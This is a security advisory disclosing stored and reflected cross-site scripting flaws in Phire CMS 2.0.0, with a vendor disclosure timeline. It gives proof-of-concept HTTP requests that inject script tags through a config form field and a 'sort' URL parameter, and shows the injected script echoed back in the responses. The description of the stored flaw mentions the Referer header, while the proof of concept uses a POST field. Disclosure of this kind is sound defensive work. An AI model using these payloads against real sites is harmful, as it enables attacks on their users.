[+] Title
Phire CMS <= 2.0.0 - Multiple XSS Vulnerabilities

[+] Credit
Mattia Reggiani (info@mattiareggiani.com)

[+] Advisory
https://github.com/mattiareggiani/Security-Advisories/blob/master/MR-16-02_PhireCMS.pdf

[+] Vendor Homepage
http://www.phirecms.org/

[+] Affected Version
2.0.0

[+] Tested on
Ubuntu Server 14.04, web server Apache 2.2.31

[+] CVE
N/A

[+] Severity
Medium to High

[+] Summary
Phire CMS is an open source content management system and publishing platform for managing the content of websites and web applications. Phire CMS is written using the MySQL database and the PHP programming language.
Phire CMS is prone to multiple cross-site scripting (XSS) vulnerabilities, which could be used by malicious users to inject arbitrary JavaScript code in victim's browser.

[+] Vulnerabilities
[+][+] Stored Cross Site Scripting (XSS)
# Description: Multiple stored XSS vulnerability has been found in HTTP Referer header. This can lead to arbitrary execution of code client-side (eg. Javascript).
# Proof of Concept:
  >HTTP Request
    POST /phirecms/phire/config HTTP/1.1
    [Headers]: ...
    [Post Data]:
    datetime_format=&datetime_format_custom=%22%3E%3Cscript%3Ealert%281337%29%3C%2Fscript%3E&pagination=25&system_theme=default&submit=Save
  
  >HTTP Response
    ...
    <input type="radio" name="datetime_format" id="datetime_format8" onclick="phire.customDatetime('/phirecms/phire');" checked="checked" value=""><script>alert(1337)</script>" />
    <input type="text" name="datetime_format_custom" id="datetime_format_custom"  onkeyup="phire.customDatetime('/phirecms/phire')" value=""><script>alert(1337)</script>" size="10" />
    ...

[+][+] Reflected Cross Site Scripting (XSS)
# Description: Reflected XSS vulnerabilities have been found in System module. This can lead to arbitrary execution of code client-side (eg. Javascript).
# Proof of Concept:
  >HTTP Request
    GET http://[HOST]/phirecms/phire/users?sort=id%3E%3Cscript%3Ealert(1337)%3C/script%3E
  
  >HTTP Response
    ...
    <p>Error: 1054 => Unknown column 'id><script>alert(1337)</script>' in 'order clause'.</p>
    ... 

[+] Disclosure timeline
# Discovery: 05/06/16
# Vendor disclosure: 09/06/16
# Vendor acknowledgment: 10/06/16
# Patch release: 14/06/16
# Public disclosure: 19/07/16